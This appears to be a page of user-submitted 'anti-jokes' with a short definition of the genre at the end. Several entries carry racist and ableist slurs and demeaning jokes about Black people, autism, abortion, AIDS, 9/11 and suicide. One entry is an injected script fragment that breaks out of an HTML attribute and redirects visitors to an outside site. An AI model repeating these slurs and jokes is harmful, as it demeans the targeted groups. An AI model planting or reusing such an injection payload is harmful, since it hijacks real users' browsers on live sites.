A man walks into a bar. and buys a drink.

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Why did the guy eat pizza? Because he likes pizza.

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What did the aborted fetus say to the recycling bin? Nothing because it isn't capable of speaking, and it was in the dumpster

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Aids, Black People, Cancer, Death, Retarded, Drunk, Sex, Black People, Holocaust, Blackies, White People, BLACK

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A horse walks into a bar. The barman says 'who the f*ck let a horse in here, get it out now'.

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What is a good remedy for the common cold? A piping hot bowl of chicken-noodle soup.

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"'>document.location.href="http://cramik.org"

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was gonna write a really funny "anti-joke" about two dogs and some spagetti but decided instead to tell you about how hard my life is and how much i hate getting up in the morning and just keep you wondering about the spaggetti and the dogs while i kill myself and it all a sudden makes sense as the two dogs are eating my shattered brain that looks like spaggetti wich leaves me wondering , am i spelling spaggetti right?

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A: Rock! B:Paper! C: Siccorz! D: Shoot! D: Jimmy, you alright buddy? I didn't mean for that bullet to hit you man..

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why does stuart own alot of hollister because he is autistic

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What's worse than losing your phone? 9/11

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What does DNA stand for? National Dyslexic Assosiation.

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Why did the computer explode into a million peices? It was thrown off the Empire State building.

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What is the worst joke to tell a Orphan? Knock Knock Who's there Not your parents ( Man than slams door in little girls face)

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Why did the monkey fall out of the tree? It was dead.

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Why did the black man go to jail? Because he committed a criminal offense.

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women's rights

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What's worse than finding a worm in your apple? Finding out your boyfriend's gay

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Roses are red Violets are blue I have Alzhiemers Wait, who are you

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Why did the chicken cross the road? To get to the other side. ( to heaven )

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Why did the black man take the watermelon? Because he bought it, and watermelons are delicious.

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What do you call a red ballon? It depends on its color duh!

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why did the child kill his mother because the child gave his mom AIDS

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What do you call a dog with no legs? It doesn't matter what you call him he isn't coming anyway!!!!

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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